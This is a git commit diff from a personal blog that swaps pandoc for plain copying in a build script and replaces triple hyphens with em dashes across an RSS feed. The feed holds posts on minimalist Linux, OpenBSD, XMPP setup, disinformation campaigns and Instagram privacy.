bin/plaintext.sh: I don't need pandoc afterall! Signed-off-by: Anirudh Oppiliappan <x@icyphox.sh>
Anirudh Oppiliappan x@icyphox.sh
Sat, 30 May 2020 13:06:23 +0530
37 files changed,
1919 insertions(+),
2114 deletions(-)
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@@ -12,11 +12,12 @@
for p in pages/blog/*.md; do basename "$p" no_ext="${base%.*}" - [ "$base" != "_index.md" ] && { - pandoc --quiet -s -f "markdown+gutenberg" \ - "$p" -o "pages/txt/$no_ext.txt" - } +# [ "$base" != "_index.md" ] && { +# pandoc --quiet -s -f "markdown+gutenberg" \ +# "$p" -o "pages/txt/$no_ext.txt" +# } + cp "$p" "pages/txt/$no_ext.txt" done -cp pages/txt/*.txt build/blog/ +cp pages/txt/*.txt build/txt/
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@@ -22,8 +22,8 @@ can see at the very bottom of this post!</p>
<h2 id="speeding-up-index-page-generation">speeding up index page generation</h2> -<p>The old script---the one that featured in <a href="/blog/hacky-scripts">Hacky -scripts</a>---was absolutely ridiculous, and not to +<p>The old script—the one that featured in <a href="/blog/hacky-scripts">Hacky +scripts</a>—was absolutely ridiculous, and not to mention <em>super</em> slow. Here’s what it did:</p> <ul>@@ -38,7 +38,7 @@ </code></pre></div>
<ul> <li>updated the markdown table (in <code>_index.md</code>) by in-place editing the -markdown, with the line created earlier---for the latest post.</li> +markdown, with the line created earlier—for the latest post.</li> <li>finally, I’d have to <em>rebuild</em> the entire site since this markdown hackery would happen at the very end of the build, i.e, didn’t actually get rendered itself. </li>@@ -111,7 +111,7 @@ vite. Currently, it reads a random sample of 3 feeds from a list of
feeds provided in a <code>feeds.txt</code> file, and updates the webring with those posts. Like a feed-bingo of sorts. ;)</p> -<p>I really like how it turned out---especially the fact that I got my CSS +<p>I really like how it turned out—especially the fact that I got my CSS grid correct in the first try!</p> ]]></description><link>https://icyphox.sh/blog/site-changes</link><pubDate>Wed, 27 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/site-changes</guid></item><item><title>The efficacy of deepfakes</title><description><![CDATA[<p>A few days back, NPR put out an article discussing why deepfakes aren’t all that powerful in spreading disinformation.@@ -149,13 +149,13 @@ <li>Fact checking media in 22 different languages is non-trivial</li>
</ul> <p>India has had a long-standing problem with misinformation. The 2019 -elections, the recent CAA controversy and even more recently---the +elections, the recent CAA controversy and even more recently—the coronavirus. In some cases, it has even lead to <a href="https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india">mob violence</a>.</p> <p>All of this shows that the populace is easily influenced, and deepfakes are only going to simplify this. What’s worse is explaining to a rural -crowd that something like a deepfake can exist---comprehension and +crowd that something like a deepfake can exist—comprehension and adoption of technology has always been slow in India, and can be attributed to socio-economic factors. </p>@@ -213,12 +213,12 @@ <p>“B-but Linux is much bigger!” Indeed, it is, but it has a thousand times
(if not more) the number of eyes looking at the code, and there have been multiple third-party audits. There are hundreds of independent orgs and multiple security teams looking at it. That’s not the case with -systemd---it’s probably just RedHat.</p> +systemd—it’s probably just RedHat.</p> <p>Compare this to a bunch of shell scripts. Agreed, writing safe shell can be hard and there are a ton of weird edge-cases depending on your shell implementation, but the distinction here is <em>you</em> wrote it. Which means, -you can identify what went wrong---things are predictable. +you can identify what went wrong—things are predictable. systemd, however, is a large blackbox, and its state at runtime is largely unprovable and unpredictable. I am certain even the developers don’t know.</p>@@ -232,7 +232,7 @@ <p><a href="https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/">https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/</a></p>
<p>He manually provisions all sourcehut infrastructure, because tools like Salt, Kubernetes etc. are -just like systemd in our example---large monstrosities which can get you +just like systemd in our example—large monstrosities which can get you RCE’d. Don’t believe me? See <a href="https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/">this</a>.</p>@@ -295,7 +295,7 @@
<h2 id="authentication">authentication</h2> <p>With these out of the way, we can move on to configuring our -account---authenticating IMAP and SMTP. Before that, however, we’ll +account—authenticating IMAP and SMTP. Before that, however, we’ll have to create a <code>~/.netrc</code> file to store our account credentials. </p> <p>(This of course, assumes that your SMTP and IMAP credentials are the@@ -408,7 +408,7 @@ <div class="footnotes">
<hr /> <ol> <li id="fn-read-man"> -<p>Honestly, read the man page (and email Steffen!)---there’s +<p>Honestly, read the man page (and email Steffen!)—there’s a ton of useful options in there. <a href="#fnref-read-man" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> </li> </ol>@@ -439,7 +439,7 @@ <li>Number of users on mastodon.social: 529923</li>
</ul> <p>Surprisingly, there’s an instance even bigger than -mastodon.social---pawoo.net. I have no idea why it’s so big and it’s +mastodon.social—pawoo.net. I have no idea why it’s so big and it’s primarily Japanese. Its user count is over 620k. So mastodon.social and pawoo.net put together form over 1 million users, that’s <em>more than</em> 50% of the entire Mastodon populace. That’s nuts.<sup class="footnote-ref" id="fnref-federation-fallacy"><a href="#fn-federation-fallacy">1</a></sup></p>@@ -470,7 +470,7 @@ </div>
]]></description><link>https://icyphox.sh/blog/mastodon-social</link><pubDate>Tue, 05 May 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mastodon-social</guid></item><item><title>OpenBSD on the HP Envy 13</title><description><![CDATA[<p>My existing KISS install broke because I thought it would be a great idea to have <a href="https://github.com/alpinelinux/apk-tools">apk-tools</a> alongside the <code>kiss</code> package manager. It’s safe to say, that did not end -well---especially when I installed, and then removed a package. With +well—especially when I installed, and then removed a package. With a semi-broken install that I didn’t feel like fixing, I figured I’d give OpenBSD a try. And I did.</p>@@ -520,7 +520,7 @@ cwm also has a built-in launcher, so dmenu isn’t necessary anymore.
Refer to <a href="https://man.openbsd.org/cwmrc.5">cwmrc(5)</a> for all the config options.</p> -<p>Touchpad was pretty simple to setup too---OpenBSD has +<p>Touchpad was pretty simple to setup too—OpenBSD has <a href="http://man.openbsd.org/wsconsctl.8">wsconsctl(8)</a>, which lets you set your tap-to-click, mouse acceleration etc. However, more advanced configuration can be achieved by getting Xorg to use the Synaptics@@ -557,7 +557,7 @@ <p>I believe it’s set to 1 by default on some installs, but I’m not sure.</p>
<h2 id="impressions">impressions</h2> -<p>I already really like the philosophy of OpenBSD---security and +<p>I already really like the philosophy of OpenBSD—security and simplicity, while not losing out on sanity. The default install is plentiful, and has just about everything you’d need to get going. I especially enjoy how everything just works! I was pleasantly surprised@@ -586,7 +586,7 @@ yet to find something that I need not on there. I also wish they
debloated packages; maybe I’ve just been spoilt by KISS. I now have D-Bus on my system thanks to Firefox. :(</p> -<p>I appreciate the fact that they don’t have a political document---a Code +<p>I appreciate the fact that they don’t have a political document—a Code of Conduct. CoCs are awful, and have only proven to be harmful for projects; part of the reason why I’m sick of Linux and its community. Oh wait, OpenBSD does have one: <a href="https://www.openbsd.org/mail.html">https://www.openbsd.org/mail.html</a>@@ -598,29 +598,29 @@ have I ever delivered?</p>
<p>I’ll close this post off with my new rice, and a sick ASCII art I made.</p> -<pre><code> \.-----./ +<pre><code> \. -- --./ / ^ ^ ^ \ (o)(o) ^ ^ |_/| {} ^ ^ > ^| \| \^ ^ ^ ^/ - /-----\ + / -- --\ ~icy </code></pre> <p><img src="https://x.icyphox.sh/zDYdj.png" alt="openbsd rice" /></p> ]]></description><link>https://icyphox.sh/blog/openbsd-hp-envy</link><pubDate>Fri, 17 Apr 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/openbsd-hp-envy</guid></item><item><title>The Zen of KISS Linux</title><description><![CDATA[<p><a href="/blog/five-days-tty">I installed KISS</a> early in January on my main -machine---an HP Envy 13 (2017), and I have since noticed a lot of changes +machine—an HP Envy 13 (2017), and I have since noticed a lot of changes in my workflow, my approach to software (and its development), and in life as a whole. I wouldn’t call KISS “life changing”, as that would be overly dramatic, but it has definitely reshaped my outlook towards -technology---for better or worse.</p> +technology—for better or worse.</p> -<p>When I talk about KISS to people---online or IRL---I get some pretty +<p>When I talk about KISS to people—online or IRL---I get some pretty interesting reactions and comments.<sup class="footnote-ref" id="fnref-bringing-up-kiss"><a href="#fn-bringing-up-kiss">1</a></sup> Ranging from “Oh cool.” to “You must be retarded.”, I’ve heard it all. A classic and a personal favourite of mine, “I don’t use meme distros because I actually get work done.” It is -actually, quite the opposite---I’ve been so much more productive using +actually, quite the opposite—I’ve been so much more productive using KISS than any other operating system. I’ll explain why shortly.</p> <p>The beauty of this “distro”, is it isn’t much of a distribution at all.@@ -682,11 +682,11 @@ <p>As far as I know, it mostly consists of the <code>#kisslinux</code> channel on
Freenode and the <a href="https://old.reddit.com/r/kisslinux">r/kisslinux</a> subreddit. It’s not that big, but it’s suprisingly active, and super helpful. There have been some interested new KISS-related projects -too: <a href="https://github.com/sdsddsd1/kiss-games">kiss-games</a>---a repository +too: <a href="https://github.com/sdsddsd1/kiss-games">kiss-games</a>—a repository for, well, Linux games; <a href="https://github.com/jedavies-dev/kiss-ppc64le">kiss-ppc64le</a> -and <a href="https://github.com/jedavies-dev/kiss-aarch64">kiss-aarch64</a>---KISS +and <a href="https://github.com/jedavies-dev/kiss-aarch64">kiss-aarch64</a>—KISS Linux ports for PowerPC and ARM64 architectures; -<a href="https://github.com/wyvertux/wyvertux">wyvertux</a>---an attempt at +<a href="https://github.com/wyvertux/wyvertux">wyvertux</a>—an attempt at a GNU-free Linux distribution, using KISS as a base; and tons more.</p> <h2 id="the-philosophy">the philosophy</h2>@@ -695,17 +695,17 @@ <p>Software today is far too complex. And its complexity is only growing.
Some might argue that this is inevitable, and it is in fact progress. I disagree. Blindly adding layers and layers of abstraction (Docker, modern web “apps") isn’t progress. Look at the Linux desktop ecosystem -today, for example---monstrosities like GNOME and KDE are a result of +today, for example—monstrosities like GNOME and KDE are a result of this…new wave software engineering.</p> <p>I see KISS as a symbol of defiance against this malformed notion. You don’t <em>need</em> all the bloat these DEs ship with to have a usable system. Agreed, it’s a bit more effort to get up and running, but it is entirely -worth it. Think of it as a clean table---feels good to sit down and work on, +worth it. Think of it as a clean table—feels good to sit down and work on, doesn’t it? </p> <p>Let’s take my own experience, for example. One of the initial few -software I used to install on a new system was <code>dunst</code>---a notification +software I used to install on a new system was <code>dunst</code>—a notification daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo, not on KISS. However, using a system without notifications has been very pleasant. Nothing to distract you while you’re in the zone.</p>@@ -723,7 +723,7 @@ phone. Compartmentalizing work and play to separate devices has worked
out pretty well for me.</p> <p>I’m slowly noticing myself favor low-tech (or no-tech) solutions to -simple problems too. Like notetaking---I’ve tried plaintext files, Vim +simple problems too. Like notetaking—I’ve tried plaintext files, Vim Wiki, Markdown, but nothing beats actually using pen and paper. Tech, from what I can see, doesn’t solve problems very effectively. In some cases, it only causes more of them. I might write another post@@ -748,12 +748,12 @@ ]]></description><link>https://icyphox.sh/blog/kiss-zen</link><pubDate>Fri, 03 Apr 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/kiss-zen</guid></item><item><title>Introducing mael</title><description><![CDATA[<p><strong>Update</strong>: The code lives here: <a href="https://github.com/icyphox/mael">https://github.com/icyphox/mael</a></p>
<p>I’ve been on the lookout for a good terminal-based email client since forever, and I’ve tried almost all of them. The one I use right now -sucks a little less---<a href="https://git.sr.ht/~sircmpwn/aerc">aerc</a>. I have +sucks a little less—<a href="https://git.sr.ht/~sircmpwn/aerc">aerc</a>. I have some gripes with it though, like the problem with outgoing emails not getting copied to the Sent folder, and instead erroring out with -a cryptic <code>EOF</code>---that’s literally all it says. +a cryptic <code>EOF</code>—that’s literally all it says. I’ve tried mutt, but I find it a little excessive. It feels like the -weechat of email---to many features that you’ll probably never use.</p> +weechat of email—to many features that you’ll probably never use.</p> <p>I need something clean and simple, less bloated (for the lack of a better term). This is what motivated me to try writing my own. The@@ -761,7 +761,7 @@ result of this (and not to mention, being holed up at home with nothing
better to do), is <strong>mael</strong>.<sup class="footnote-ref" id="fnref-oss"><a href="#fn-oss">1</a></sup></p> <p>mael isn’t like your usual TUI clients. I envision this to turn out -similar to mailx---a prompt-based UI. The reason behind this UX decision +similar to mailx—a prompt-based UI. The reason behind this UX decision is simple: it’s easier for me to write. :)</p> <p>Speaking of writing it, it’s being written in a mix of Python and bash.@@ -769,11 +769,11 @@ Why? Because Python’s <code>email</code> and <code>mailbox</code> modules are fantastic, and
I don’t think I want to parse Maildirs in bash. “But why not pure Python?” Well, I’m going to be shelling out a lot (more on this in a bit), and writing interactive UIs in bash is a lot more intuitive, thanks to -some of the nifty features that later versions of bash have---<code>read</code>, +some of the nifty features that later versions of bash have—<code>read</code>, <code>mapfile</code> etc.</p> <p>The reason I’m shelling out is because two key components to this -client, that I haven’t yet talked about---<code>mbsync</code> and <code>msmtp</code> are in +client, that I haven’t yet talked about—<code>mbsync</code> and <code>msmtp</code> are in use, for IMAP and SMTP respectively. And <code>mbsync</code> uses the Maildir format, which is why I’m relying on Python’s <code>mailbox</code> package. Why is this in the standard library anyway?!</p>@@ -813,13 +813,13 @@ </ol>
</div> ]]></description><link>https://icyphox.sh/blog/mael</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mael</guid></item><item><title>COVID-19 disinformation</title><description><![CDATA[<p>The virus spreads around the world, along with a bunch of disinformation and potential malware / phishing campaigns. There are many actors, -pushing many narratives---some similar, some different. </p> +pushing many narratives—some similar, some different. </p> <p>Interestingly, the three big players in the information warfare -space---Russia, Iran and China seem to be running similar stories on +space—Russia, Iran and China seem to be running similar stories on their state-backed media outlets. While they all tend to lean towards -the same, fairly anti-U.S. sentiments---that is, blaming the US for -weaponizing the crisis for political gain---Iran and Russia’s content +the same, fairly anti-U.S. sentiments—that is, blaming the US for +weaponizing the crisis for political gain—Iran and Russia’s content come off as more…conspiratorial. In essence, they claim that the COVID-19 virus is a “bioweapon” developed by the U.S.</p>@@ -840,7 +840,7 @@ <a href="https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/">an op-ed</a>
suggests the virus’ impact on financial markets might bring about the reinvention of communism and the end of the global capitalist system. Russian state-sponsored media can also be seen amplifying Iranian -conspiracy theories---including the Islamic Revolutionary Guard Corps’ +conspiracy theories—including the Islamic Revolutionary Guard Corps’ (IRGC) suggestion that COVID-19 <a href="https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/">is a U.S. bioweapon</a>.</p>@@ -878,11 +878,11 @@ to battle the coronavirus. They <a href="http://www.globaltimes.cn/content/1178494.shtml">blame the U.S.</a>
for unfair media coverage against China, and other <a href="http://www.globaltimes.cn/content/1180630.shtml">anti-China narratives</a>. There are a ton other articles that play the racism/discrimination -card---I wouldn’t blame them though. <a href="http://www.globaltimes.cn/content/1178465.shtml">Here’s one</a>.</p> +card—I wouldn’t blame them though. <a href="http://www.globaltimes.cn/content/1178465.shtml">Here’s one</a>.</p> <p>In the case of India, most disinfo (actually, misinfo) is mostly just pseudoscientific / alternative medicine / cures in the form of WhatsApp -forwards---"Eat foo! Eat bar!”.<sup class="footnote-ref" id="fnref-cowpiss"><a href="#fn-cowpiss">1</a></sup></p> +forwards—“Eat foo! Eat bar!”.<sup class="footnote-ref" id="fnref-cowpiss"><a href="#fn-cowpiss">1</a></sup></p> <p>I’ve also been noticing a <em>ton</em> of COVID-19 / coronavirus related domain registrations happening. Expect phishing and malware campaigns using the@@ -891,7 +891,7 @@ registered.</p>
<p><img src="/static/img/corona_domains.png" alt="corona domains" /></p> -<p>Anywho, there are bigger problems at hand---like the fact that my uni +<p>Anywho, there are bigger problems at hand—like the fact that my uni still hasn’t suspended classes!</p> <div class="footnotes">@@ -909,10 +909,10 @@ Paula, and its associated party at Cidade de Goa, also by Taj.
Great choice of venue, perhaps even better than last time. The food was fine, the views were better.</p> -<p>With <em>those</em> things out of the way---let’s talk talks. I think -I preferred the panels to the talks---I enjoy a good, stimulating +<p>With <em>those</em> things out of the way—let’s talk talks. I think +I preferred the panels to the talks—I enjoy a good, stimulating discussion as opposed to only half-understanding a deeply technical -talk---but that’s just me. But there was this one talk that I really +talk—but that’s just me. But there was this one talk that I really enjoyed, perhaps due to its unintended comedic value; I’ll get into that later.</p>@@ -952,7 +952,7 @@
<p>He proposed that the security industry trust the user more, and let them make the decisions pertaining to personal security / privacy. Except…that’s just not going to happen. If all users were capable -of making good, security-first choices---we as an industry don’t +of making good, security-first choices—we as an industry don’t need to exist. But that is unfortunately not the case. Users are dumb. They value convenience and immediacy over security. That’s the sad truth of the modern age.</p>@@ -963,7 +963,7 @@
<p><em>…what?</em></p> <p>A “security professional” suggesting that we roll our own crypto? What -even. Oh and, to top it off---when +even. Oh and, to top it off—when <a href="https://twitter.com/tame_wildcard">Raman</a>, very rightly countered saying that the biggest opponent to encryption <em>is</em> the Government, and trusting them to build safe cryptosystems is probably not wise, he@@ -995,12 +995,12 @@ a personal attack. I think you’re a cool guy.</p>
<p>Note to the Nullcon organizers: you guys did a fantastic job running the conference despite Corona-chan’s best efforts. I’d like to suggest one -little thing though---please VET YOUR SPEAKERS more!</p> +little thing though—please VET YOUR SPEAKERS more!</p> <p><img src="/static/img/nullcon_beach.jpg" alt="group pic" /></p> ]]></description><link>https://icyphox.sh/blog/nullcon-2020</link><pubDate>Mon, 09 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/nullcon-2020</guid></item><item><title>Setting up Prosody for XMPP</title><description><![CDATA[<p>Remember the <a href="/blog/irc-for-dms/">IRC for DMs</a> article I wrote a while back? Well…it’s safe to say that IRC didn’t hold up too well. It first -started with the bot. Buggy code, crashed a lot---we eventually gave up +started with the bot. Buggy code, crashed a lot—we eventually gave up and didn’t bring the bot back up. Then came the notifications, or lack thereof. Revolution IRC has a bug where your custom notification rules just get ignored after a while. In my case, this meant that@@ -1123,14 +1123,14 @@
<h2 id="closing-notes">Closing notes</h2> <p>That’s pretty much all you need for 1-on-1 E2EE chats. I don’t know much -about group chats just yet---trying to create a group in Conversations +about group chats just yet—trying to create a group in Conversations gives a “No group chat server found”. I will figure it out later.</p> <p>Another thing that doesn’t work in Conversations is adding an account using an <code>SRV</code> record.<sup class="footnote-ref" id="fnref-srv"><a href="#fn-srv">2</a></sup> Which kinda sucks, because having a <code>chat.</code> subdomain isn’t very clean, but whatever.</p> -<p>Oh, also---you can message me at +<p>Oh, also—you can message me at <a href="xmpp:icy@chat.icyphox.sh">icy@chat.icyphox.sh</a>.</p> <div class="footnotes">@@ -1154,13 +1154,13 @@ status update worthy, right? Not really, but we’ll see.</p>
<h2 id="no-more-cloudflare">No more Cloudflare!</h2> -<p>Yep. If you weren’t aware---pre-2020 this site was behind Cloudflare +<p>Yep. If you weren’t aware—pre-2020 this site was behind Cloudflare SSL and their DNS. I have since migrated off it to <a href="https://he.net">he.net</a>, thanks to highly upvoted Lobste.rs comment. Because of this switch, I infact, learnt a ton about DNS.</p> <p>Migrating to HE was very painless, but I did have to research a lot -about PTR records---Cloudflare kinda dumbs it down. In my case, I had to +about PTR records—Cloudflare kinda dumbs it down. In my case, I had to rename my DigitalOcean VPS instance to the FQDN, which then automagically created a PTR record at DO’s end.</p>@@ -1175,7 +1175,7 @@ plays well with ZNC, that is.</p>
<h2 id="kiss-stuff">KISS stuff</h2> -<p>I now maintain two new packages in the KISS community repository---2bwm +<p>I now maintain two new packages in the KISS community repository—2bwm and aerc! The KISS package system is stupid simple to work with. Creating packages has never been easier.</p>@@ -1183,7 +1183,7 @@ <h2 id="icyphoxshfriendsfriends"><a href="/friends">icyphox.sh/friends</a></h2>
<p>Did you notice that yet? I’ve been curating a list of people I know IRL and online, and linking to their online presence. This is like a webring -of sorts, and promotes inter-site traffic---making the web more “web” +of sorts, and promotes inter-site traffic—making the web more “web” again.</p> <p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I’ll link@@ -1191,7 +1191,7 @@ your site too! My apologies if I’ve forgotten your name.</p>
<h2 id="patreon">Patreon!</h2> -<p>Is this big news? I dunno, but yes---I now have a Patreon. I figured I’d +<p>Is this big news? I dunno, but yes—I now have a Patreon. I figured I’d cash in on the newfound traffic my site’s been getting. There won’t be any exclusive content or any tiers or whatever. Nothing will change. Just a place for y’all to toss me some $$$ if you wish to do so. ;)</p>@@ -1214,7 +1214,7 @@ have increased since, or the number of reps × sets have. If you know of
a better way to quantify progress, let me know! I’m pretty new to this.</p> ]]></description><link>https://icyphox.sh/blog/2020-01-18</link><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2020-01-18</guid></item><item><title>Vimb&#58; my Firefox replacement</title><description><![CDATA[<p>After having recently installed <a href="https://getkiss.org">KISS</a>, and building Firefox from source, I was exposed to the true monstrosity that -Firefox---and web browsers in general---is. It took all of 9 hours to +Firefox—and web browsers in general---is. It took all of 9 hours to build the dependencies and then Firefox itself.</p> <p>Sure, KISS now ships Firefox binaries in the@@ -1225,10 +1225,10 @@ <h2 id="enter-vimb">Enter vimb</h2>
<p><a href="https://fanglingsu.github.io/vimb/">vimb</a> is a browser based on <a href="https://webkitgtk.org/">webkit2gtk</a>, with a Vim-like interface. -<code>webkit2gtk</code> builds in less than a minute---it blows Firefox out of +<code>webkit2gtk</code> builds in less than a minute—it blows Firefox out of the water, on that front.</p> -<p>There isn’t much of a UI to it---if you’ve used Vimperator/Pentadactyl +<p>There isn’t much of a UI to it—if you’ve used Vimperator/Pentadactyl (Firefox plugins), vimb should look familiar to you. It can be configured via a <code>config.h</code> or a text based config file at <code>~/.config/vimb/config</code>.@@ -1246,7 +1246,7 @@ </code></pre>
<p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring Firefox-esque keybinds in tabbed’s <code>config.h</code> is relatively easy. Once -that’s done---voilà! A fairly sane, Vim-like browsing experience that’s +that’s done—voilà! A fairly sane, Vim-like browsing experience that’s faster and has a smaller footprint than Firefox.</p> <h2 id="ad-blocking">Ad blocking</h2>@@ -1264,7 +1264,7 @@
<p><em>Some</em> websites tend to not work because they detect vimb as an older version of Safari (same web engine). This is a minor inconvenience, and not a dealbreaker for me. I also cannot login to Google’s services for -some reason, which is mildly annoying, but it’s good in a way---I am now +some reason, which is mildly annoying, but it’s good in a way—I am now further incentivised to dispose of my Google account.</p> <p>And here’s the screenshot y’all were waiting for:</p>@@ -1272,7 +1272,7 @@
<p><img src="/static/img/vimb.png" alt="vimb" /></p> ]]></description><link>https://icyphox.sh/blog/mnml-browsing</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mnml-browsing</guid></item><item><title>Five days in a TTY</title><description><![CDATA[<p>This new semester has been pretty easy on me, so far. I hardly every have any classes (again, so far), and I’ve a ton of free time on my -hands. This calls for---yep---a distro hop! </p> +hands. This calls for—yep---a distro hop! </p> <h2 id="why-kiss">Why KISS?</h2>@@ -1290,7 +1290,7 @@ </blockquote>
<p>Like many people did in the HN thread, “simplicity” here is not to be confused with “ease”. It is instead, simplicity in terms of lesser and -cleaner code---no +cleaner code—no <a href="https://www.urbandictionary.com/define.php?term=poetterware">Poetterware</a>.</p> <p>This, I can get behind. A clean system with less code is like a clean@@ -1302,8 +1302,8 @@ is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
source and <code>kiss</code> automatically performs dependency resolution. Creating packages is ridiculously easy too.</p> -<p>Speaking of packages, all packages---both official & community -repos---are run through <code>shellcheck</code> before getting merged. This is +<p>Speaking of packages, all packages—both official & community +repos—are run through <code>shellcheck</code> before getting merged. This is awesome; I don’t think this is done in any other distro.</p> <p>In essence, KISS sucks less.</p>@@ -1317,7 +1317,7 @@
<h3 id="day-1">Day 1</h3> <p>Although technically not in a TTY, it was still not <em>in</em> the KISS -system---I’ll count it. I’d compiled the kernel in the chroot and +system—I’ll count it. I’d compiled the kernel in the chroot and decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool to modify the Intel Extensible Firmware Interface (EFI). Essentially, you boot the <code>.efi</code> directly as opposed to choosing which boot entry@@ -1345,10 +1345,10 @@
<h3 id="day-2">Day 2</h3> <p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering -(ethernet) and wireless don’t work. Great. Dug around a bit---missing +(ethernet) and wireless don’t work. Great. Dug around a bit—missing wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from Intel (eugh!). The whole day was spent in figuring out why the kernel -would never load the firmware. I tried different variations---loading +would never load the firmware. I tried different variations—loading it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p> <h3 id="day-3">Day 3</h3>@@ -1416,7 +1416,7 @@ </div>
]]></description><link>https://icyphox.sh/blog/five-days-tty</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/five-days-tty</guid></item><item><title>2019 in review</title><description><![CDATA[<p>Just landed in a rainy Chennai, back in campus for my 6th semester. A little late to the “year in review blog post” party; travel took up most of my time. Last year was pretty eventful (at least in my books), -and I think I did a bunch of cool stuff---let’s see!</p> +and I think I did a bunch of cool stuff—let’s see!</p> <h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>@@ -1431,7 +1431,7 @@ <a href="/blog/fb50">here</a>.</p>
<h2 id="conferences">Conferences</h2> -<p>I attended two major conferences last year---Nullcon Goa and PyCon +<p>I attended two major conferences last year—Nullcon Goa and PyCon India. Both super fun experiences and I met a ton of cool people! <a href="https://twitter.com/icyphox/status/1101022604851212288">Nullcon Twitter thread</a> and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>@@ -1476,7 +1476,7 @@ </code></pre>
<p>So excluding today’s post, and <code>_index.md</code>, that’s 18 posts! I had initially planned to write one post a month, but hey, this is great. My -plan for 2020 is to write one post a <em>week</em>---unrealistic, I know, but +plan for 2020 is to write one post a <em>week</em>—unrealistic, I know, but I will try nevertheless.</p> <p>I wrote about a bunch of things, ranging from programming to@@ -1513,7 +1513,7 @@ <h3 id="april-14-2018">April 14, 2018</h3>
<ul> <li>RT published an article claiming that Spiez had identified a different -toxin---BZ, and not Novichok.</li> +toxin—BZ, and not Novichok.</li> <li>This was an attempt to shift the blame from Russia (origin of Novichok), to NATO countries, where it was apparently in use.</li> <li>Most viral piece on the matter in all of 2018.</li>@@ -1589,7 +1589,7 @@ <ul>
<li>OPCW facilities receive an email from Spiez inviting them to a conference.</li> <li>The conference itself is real, and has been organized before.</li> -<li>The email however, was not---attached was a Word document containing +<li>The email however, was not—attached was a Word document containing malware.</li> <li>Also seen were inconsistencies in the email formatting, from what was normal.</li>@@ -1601,7 +1601,7 @@ a state actor:</p>
<ol> <li>Attack targetting a specific group of individuals.</li> -<li>Relatively high level of sophistication---email formatting, +<li>Relatively high level of sophistication—email formatting, malicious Word doc, etc.</li> </ol>@@ -1657,12 +1657,12 @@ <p>UK made the arrests public, published a list of infractions commited by
Russia, along with the specific GRU unit that was caught.</p> <p>During this period, just one of the top 25 viral stories was from -a pro-Russian outlet, RT---that too a fairly straightforward piece.</p> +a pro-Russian outlet, RT—that too a fairly straightforward piece.</p> <h2 id="wrapping-up">Wrapping up</h2> <p>As with conventional warfare, it’s hard to determine who won. Britain -may have had the last blow, but Moscow---yet again---depicted their +may have had the last blow, but Moscow—yet again---depicted their finesse in information warfare. Their ability to seize unexpected openings, gather intel to facilitate their disinformation campaigns, and their cyber capabilities makes them a formidable threat. </p>@@ -1685,20 +1685,20 @@ ]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
compelled to write this post. Using a social platform like Instagram automatically implies that the user understands (to some level) that their personally identifiable information is exposed publicly, and they -sign up for the service understanding this risk---or I think they do, +sign up for the service understanding this risk—or I think they do, anyway. But that’s about it, they go ham after that. Sharing every nitty gritty detail of their private lives without understanding the potential risks of doing so.</p> <p>The fundamentals of OPSEC dictacte that you develop a threat model, and -Instgrammers are <em>obviously</em> incapable of doing that---so I’ll do it +Instgrammers are <em>obviously</em> incapable of doing that—so I’ll do it for them. </p> <h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2> <p>I stress on the word “average”, as in this doesn’t apply to those with more than a couple thousand followers. Those type of accounts inherently -face different kinds of threats---those that come with having +face different kinds of threats—those that come with having a celebrity status, and are not in scope of this analysis.</p> <ul>@@ -1712,7 +1712,7 @@ of the amount of visual information shared on the platform. A lot can be
gleaned from one simple picture in a nondescript alleyway. We’ll get into this in the DOs and DON’Ts in a bit.</p></li> <li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an -illegal, because well, it’s logged and more importantly---not +illegal, because well, it’s logged and more importantly—not end-to-end encrypted. Law enforcement can subpoena any and all account information. Quoting Instagram’s <a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>@@ -1733,7 +1733,7 @@ <h3 id="donts">DON’Ts</h3>
<ul> <li><p>Use Instagram for planning and orchestrating illegal shit! I’ve -explained why this is a terrible idea above. Use secure comms---even +explained why this is a terrible idea above. Use secure comms—even WhatsApp is a better choice, if you have nothing else. In fact, try avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li> <li><p>Film live videos outside. Or try not to, if you can. You might@@ -1743,9 +1743,9 @@ <li><p>Film live videos in places you visit often. This compromises your
